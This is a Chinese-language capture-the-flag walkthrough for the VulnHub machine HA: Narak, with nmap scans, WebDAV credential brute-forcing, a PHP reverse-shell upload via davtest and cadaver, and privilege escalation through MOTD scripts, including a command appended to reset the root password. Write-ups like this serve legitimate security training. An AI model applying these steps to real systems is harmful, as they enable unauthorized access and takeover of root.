靶场下载
https://download.vulnhub.com/ha/narak.ova
信息收集
# nmap -sn 192.168.1.0/24 -oN live.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 22:18 CST
Nmap scan report for 192.168.1.1 (192.168.1.1)
Host is up (0.00022s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 0bcc61d9e6ea39148e78c7c68571e53 (192.168.1.2)
Host is up (0.00012s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.66 (192.168.1.66)
Host is up (0.00030s latency).
MAC Address: 00:0C:29:C9:0F:6C (VMware)
Nmap scan report for 192.168.1.254 (192.168.1.254)
Host is up (0.00040s latency).
MAC Address: 00:50:56:F8:00:71 (VMware)
Nmap scan report for 192.168.1.60 (192.168.1.60)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.99 seconds
存活主机IP地址为:192.168.1.66
# nmap -sT --min-rate 10000 -p- 192.168.1.66 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 22:19 CST
Nmap scan report for 192.168.1.66 (192.168.1.66)
Host is up (0.00044s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:C9:0F:6C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.41 seconds
端口只开放了22 80端口,优先级还是在80端口上
# nmap -sT -sC -sV -O -p80,22 192.168.1.66 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 22:19 CST
Nmap scan report for 192.168.1.66 (192.168.1.66)
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 71:bd:59:2d:22:1e:b3:6b:4f:06:bf:83:e1:cc:92:43 (RSA)
| 256 f8:ec:45:84:7f:29:33:b2:8d:fc:7d:07:28:93:31:b0 (ECDSA)
|_ 256 d0:94:36:96:04:80:33:10:40:68:32:21:cb:ae:68:f9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HA: NARAK
MAC Address: 00:0C:29:C9:0F:6C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.22 seconds
服务版本信息探测之后,发现是Apache起的服务,版本为2.4.29 操作系统是ubuntu 没什么其他的信息了。
# nmap -sT --script=vuln -p22,80 192.168.1.66 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 22:19 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.66 (192.168.1.66)
Host is up (0.00048s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.66
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.66:80/
| Form id:
|_ Form action: images/666.jpg
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.0.1
| http-enum:
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_ /webdav/: Potentially interesting folder (401 Unauthorized)
MAC Address: 00:0C:29:C9:0F:6C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 55.20 seconds
默认漏洞脚本探测结果:可能存在csrf漏洞,这个是优先级靠后的,泄露内网IP;两个目录:images 和w
ebdav
渗透测试
还是先从80端口上,开始看:
这里点击了“Do Not Click”!
出现了如上的图片,也没得到什么信息~ 由于之前的信息收集拿到了一个目录,去看一下,同时做一下目录的爆破:
整个目录扫描过程也没有发现什么新的路径,尝试访问webdav路径。
存在账号和密码~ 尝试找一下webdav的弱口令!
账号密码均为jigsaw,但是此处登陆失败了~
后来看到这个hacking articles,于是我就点了进去,看看是否有相关的文章,不出意外:
找到了一篇关于webdav的渗透测试文章~
该文章利用hydra进行的爆破,但是我们没有账号和密码。一个都没有,所以我们尝试先将账号的范围缩小一下:整个网站只有index中的about是有内容的,里面还有相关的人名和地名,所以就从中挑选出来几个:
密码使用了自己的字典~ 但是没成功~
密码可能不对,利用cewl进行网站的关键字爬取作为字典,再次进行爆破尝试:
成功拿到了账号和密码~ 进行登录:
又是这种目录,利用OPTIONS请求方式,查看是否可以上传文件!当然也可以看下上面的那篇文章!也是利用这种方式,通过PUT方式进行上传文件!
文章说是利用davtest进行文件的上传!使用davtest进行扫描:
davtest -url http://192.168.1.66/webdab/ -auth yamdoot:Swarg
经过测试发现是可以上传php文件的。文章提到上传文件的方式有很多,可以利用put的方式上传文件,当然也可以利用cadaver文件进行上传文件:
利用cadaver进行文件上传~
上传后在攻击机上起监听,同时点击反弹shell文件,进行触发:
提权
上来之后 提升shell的交互性!安装了python3!
查看/etc/passwd目录下面的用户,发现了三个活跃用户:
查看了各个用户家目录下面的文件,在inferno用户家目录下面发现第一个flag!
查看网站目录下是否存在提示性文件:
说是在creds.txt文件中存在开启 narak用户的提示!利用find命令查找creds文件!
find / -name "creds*" 2>/dev/null
找到文件中所说的文件,查看一下:
发现疑似base64 编码的字符串!尝试base64解码
还是这个账号和密码~ 难道能用ssh直接登陆吗? 或者说narak的密码就是这个? 这里尝试了 其实都不对的~ 在上面的/mnt目录下还发现了一个文件 hell.sh hell-地狱
查看这个文件的内容:
发现下面存在一行奇奇怪怪的字符,是被brainfuck加密的。如下是解密网站:
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
解密之后 又得到了一个字符,这个应该是密码了吧。这里尝试了三个用户的登录,最终在inferno用户成功登录了。之后便是提权阶段,这里看了好多,没打出来,于是看了大佬们的wp。是MOTD提权。于是便去了解了一下MOTD提权!
MOTD提权
MOTD全称为 message of the day!
当我们通过ssh登录成功的时候,我们如果留意的话,我们会发现输出的那些欢迎信息和日期等等,如果这些输出以上信息的脚本是以root权限运行的
并且我们当前这个用户对这些文件具有可读可写的权限的话,那么我们可以在这些sh脚本文件中写入修改root密码的命令,当我们再次通过ssh登录当前的这个用户的时候,那么会以root权限去执行这些文件,换句话说我们写入的命令也就被执行了!此时我们只需要 切换root用户,使用我们修改后的密码登陆即可!
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
查看/etc/update-motd.d/00-header文件,这个文件一般就是打印输出欢迎信息的脚本文件:
因此我们在下面添加修改root用户密码的命令:
echo 'root:123456' | chpasswd
将上面的整个命令添加到文件的末尾行!然后使用ssh 登陆当前的用户!最后在切换用户即可!
退出ssh,重新登录当前用户!使用修改后的密码,进行登录!
查看root目录下面的flag文件!